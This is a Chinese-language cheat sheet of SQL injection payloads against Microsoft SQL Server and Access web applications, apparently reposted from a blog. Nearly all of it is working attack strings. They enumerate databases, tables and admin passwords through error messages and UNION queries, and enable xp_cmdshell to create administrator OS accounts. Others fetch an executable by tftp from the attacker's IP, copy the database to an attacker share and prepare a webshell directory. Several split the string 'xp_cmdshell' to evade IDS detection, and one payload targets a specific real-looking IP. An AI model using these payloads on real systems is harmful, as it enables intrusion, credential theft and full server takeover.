  ;EXEC master.dbo.sp_addextendedproc 'xp_cmdshell', 'xplog70.dll'
  1=(%20select%20count(*)%20from%20master.dbo.sysobjects%20where%20xtype='x'%20and%20name='xp_cmdshell')
  and 1=(select IS_SRVROLEMEMBER('sysadmin')) 判斷sa權限是否
  and 0<>(select top 1 paths from newtable)-- 暴庫大法
and 1=(select name from master.dbo.sysdatabases where dbid=7) 獲得庫名(從1到5都是系統的id,6以上才能夠判斷)
  建立一個虛擬目錄E盤:
  declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL,' cscript.exe c:/inetpub/wwwroot/mkwebdir.vbs -w "默認 Web 站點" -v "e","e:/"'
  訪問屬性:(配合寫入一個webshell)
  declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL,' cscript.exe c:/inetpub/wwwroot/chaccess.vbs -a w3svc/1/ROOT/e +browse'
  and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)
  依次提交 dbid = 7,8,9.... 獲得更多的數據庫名
  and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U') 暴到一個表 假設爲 admin
  and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U' and name not in ('Admin')) 來獲得其餘的表。
  and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin'and uid>(str(id))) 暴到UID的數值假設爲18779569 uid=id
  and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569) 獲得一個admin的一個字段,假設爲 user_id
  and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569 and name not in('id',...)) 來暴出其餘的字段
  and 0<(select user_id from BBS.dbo.admin where username>1) 能夠獲得用戶名
  依次能夠獲得密碼。。。。。假設存在user_id username ,password 等字段
  Show.asp?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,* from admin
  Show.asp?id=-1 union select 1,2,3,4,5,6,7,8,*,9,10,11,12,13 from admin
  (union語句處處風靡啊,access也好用
  暴庫特殊技巧::%5c='/' 或者把/和/ 修改%5提交
  and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)
  and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U') 獲得表名
  and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U' and name not in('Address'))
  and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id))) 判斷id值
  and 0<>(select top 1 name from BBS.dbo.syscolumns where id=773577794) 全部字段
 http://xx.xx.xx.xx/111.asp?id=3400;create table [dbo].[swap] ([swappass][char](255));--
 http://xx.xx.xx.xx/111.asp?id=3400 and (select top 1 swappass from swap)=1
  ;create TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare @test varchar(20) exec master..xp_regread @rootkey='HKEY_LOCAL_MACHINE', @key='SYSTEM/CurrentControlSet/Services/W3SVC/Parameters/Virtual Roots/', @value_name='/', values=@test OUTPUT insert into paths(path) values(@test)
 http://61.131.96.39/PageShow.asp?TianName=政策法規&InfoID={57C4165A-4206-4C0D-A8D2-E70666EE4E08};use%20master;declare%20@s%20%20int;exec%20sp_oacreate%20"wscript.shell",@s%20out;exec%20sp_oamethod%20@s,"run",NULL,"cmd.exe%20/c%20ping%201.1.1.1";--
  獲得了web路徑d:/xxxx,接下來:
 http://xx.xx.xx.xx/111.asp?id=3400;use ku1;--
 http://xx.xx.xx.xx/111.asp?id=3400;create table cmd (str image);--
  傳統的存在xp_cmdshell的測試過程:
  ;exec master..xp_cmdshell 'dir'
  ;exec master.dbo.sp_addlogin hax;--
  ;exec master.dbo.sp_password null,hax,hax;--
  ;exec master.dbo.sp_addsrvrolemember hax sysadmin;--
  ;exec master.dbo.xp_cmdshell 'net user hax 5258 /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';--
  ;exec master.dbo.xp_cmdshell 'net localgroup administrators hax /add';--
  exec master..xp_servicecontrol 'start', 'schedule'
  exec master..xp_servicecontrol 'start', 'server'
  http://www.xxx.com/list.asp?classid=1; DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:/WINNT/system32/cmd.exe /c net user swap 5258 /add'
  ;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:/WINNT/system32/cmd.exe /c net localgroup administrators swap/add'
 http://localhost/show.asp?id=1'; exec master..xp_cmdshell 'tftp -i youip get file.exe'-
  declare @a sysname set @a='xp_'+'cmdshell' exec @a 'dir c:/'
  declare @a sysname set @a='xp'+'_cm'+'dshell' exec @a 'dir c:/'
  ;declare @a;set @a=db_name();backup database @a to disk='你的IP你的共享目錄bak.dat'
  若是被限制則能夠。
  select * from openrowset('sqloledb','server';'sa';'','select ''OK!'' exec master.dbo.sp_addlogin hax')
  傳統查詢構造:
  select * FROM news where id=... AND topic=... AND .....
  admin'and 1=(select count(*) from [user] where username='victim' and right(left(userpass,01),1)='1') and userpass <>'
  select 123;--
  ;use master;--
  :a' or name like 'fff%';-- 顯示有一個叫ffff的用戶哈。
  'and 1<>(select count(email) from [user]);--
  ;update [users] set email=(select top 1 name from sysobjects where xtype='u' and status>0) where name='ffff';--
  說明:
  上面的語句是獲得數據庫中的第一個用戶表,並把表名放在ffff用戶的郵箱字段中。
  經過查看ffff的用戶資料可得第一個用表叫ad
  而後根據表名ad獲得這個表的ID
  ffff';update [users] set email=(select top 1 id from sysobjects where xtype='u' and name='ad') where name='ffff';--
  象下面這樣就能夠獲得第二個表的名字了
  ffff';update [users] set email=(select top 1 name from sysobjects where xtype='u' and id>581577110) where name='ffff';--<
BR>  ffff';update [users] set email=(select top 1 count(id) from password) where name='ffff';--
  ffff';update [users] set email=(select top 1 pwd from password where id=2) where name='ffff';--
  ffff';update [users] set email=(select top 1 name from password where id=2) where name='ffff';--
  exec master..xp_servicecontrol 'start', 'schedule'
  exec master..xp_servicecontrol 'start', 'server'
  sp_addextendedproc 'xp_webserver', 'c:/temp/xp_foo.dll'
  擴展存儲就能夠經過通常的方法調用:
  exec xp_webserver
  一旦這個擴展存儲執行過,能夠這樣刪除它:
  sp_dropextendedproc 'xp_webserver'
  insert into users values( 666, char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), 0xffff)-
  insert into users values( 667,123,123,0xffff)-
  insert into users values ( 123, 'admin''--', 'password', 0xffff)-
  ;and user>0
  ;;and (select count(*) from sysobjects)>0
  ;;and (select count(*) from mysysobjects)>0 //爲access數據庫
  -----------------------------------------------------------一般注射的一些介紹:
  A) ID=49 這類注入的參數是數字型,SQL語句原貌大體以下:
  select * from 表名 where 字段=49
  注入的參數爲ID=49 And [查詢條件],便是生成語句:
  select * from 表名 where 字段=49 And [查詢條件]
  (B) Class=連續劇 這類注入的參數是字符型,SQL語句原貌大體概以下:
  select * from 表名 where 字段='連續劇'
  注入的參數爲Class=連續劇' and [查詢條件] and ''=' ,便是生成語句:
  select * from 表名 where 字段='連續劇' and [查詢條件] and ''=''
  (C) 搜索時沒過濾參數的,如keyword=關鍵字,SQL語句原貌大體以下:
  select * from 表名 where 字段like '%關鍵字%'
  注入的參數爲keyword=' and [查詢條件] and '%25'=', 便是生成語句:
  select * from 表名 where字段like '%' and [查詢條件] and '%'='%'
  ;;and (select Top 1 name from sysobjects where xtype='U' and status>0)>0
  sysobjects是SQLServer的系統表,存儲着全部的表名、視圖、約束及其它對象,xtype='U' and status>0,表示用戶創建的表名,上面的語句將第一個表名取出,與0比較大小,讓報錯信息把表名暴露出來。
  ;;and (select Top 1 col_name(object_id('表名'),1) from sysobjects)>0
  從⑤拿到表名後,用object_id('表名')獲取表名對應的內部ID,col_name(表名ID,1)表明該表的第1個字段名,將1換成2,3,4...就能夠逐個獲取所猜解表裏面的字段名。
  post.htm內容:主要是方便輸入。
  枚舉出他的數據表名:
  id=1552;update aaa set aaa=(select top 1 name from sysobjects where xtype='u' and status>0);--
  這是將第一個表名更新到aaa的字段處。
  讀出第一個表,第二個表能夠這樣讀出來(在條件後加上 and name<>'剛纔獲得的表名')。
  id=1552;update aaa set aaa=(select top 1 name from sysobjects where xtype='u' and status>0 and name<>'vote');--
  而後id=1552 and exists(select * from aaa where aaa>5)
  讀出第二

表,^^^^^^一個個的讀出,直到沒有爲止。
  讀字段是這樣:
  id=1552;update aaa set aaa=(select top 1 col_name(object_id('表名'),1));--
  而後id=1552 and exists(select * from aaa where aaa>5)出錯,獲得字段名
  id=1552;update aaa set aaa=(select top 1 col_name(object_id('表名'),2));--
  而後id=1552 and exists(select * from aaa where aaa>5)出錯,獲得字段名
  --------------------------------高級技巧:
  [得到數據表名][將字段值更新爲表名,再想法讀出這個字段的值就可獲得表名]
  update 表名 set 字段=(select top 1 name from sysobjects where xtype=u and status>0 [ and name<>'你獲得的表名' 查出一個加一個]) [ where 條件]
  select top 1 name from sysobjects where xtype=u and status>0 and name not in('table1','table2',…)
  經過SQLSERVER注入漏洞建數據庫管理員賬號和系統管理員賬號[當前賬號必須是SYSADMIN組]
  [得到數據表字段名][將字段值更新爲字段名,再想法讀出這個字段的值就可獲得字段名]
  update 表名 set 字段=(select top 1 col_name(object_id('要查詢的數據表名'),字段列如:1) [ where 條件]
  繞過IDS的檢測[使用變量]
  declare @a sysname set @a='xp_'+'cmdshell' exec @a 'dir c:/'
  declare @a sysname set @a='xp'+'_cm'+'dshell' exec @a 'dir c:/'
  一、 開啓遠程數據庫
  基本語法
  select * from OPENROWSET('SQLOLEDB', 'server=servername;uid=sa;pwd=apachy_123', 'select * from table1' )
  參數: (1) OLEDB Provider name

 

歡迎關注老王公衆號

相關文章
相關標籤/搜索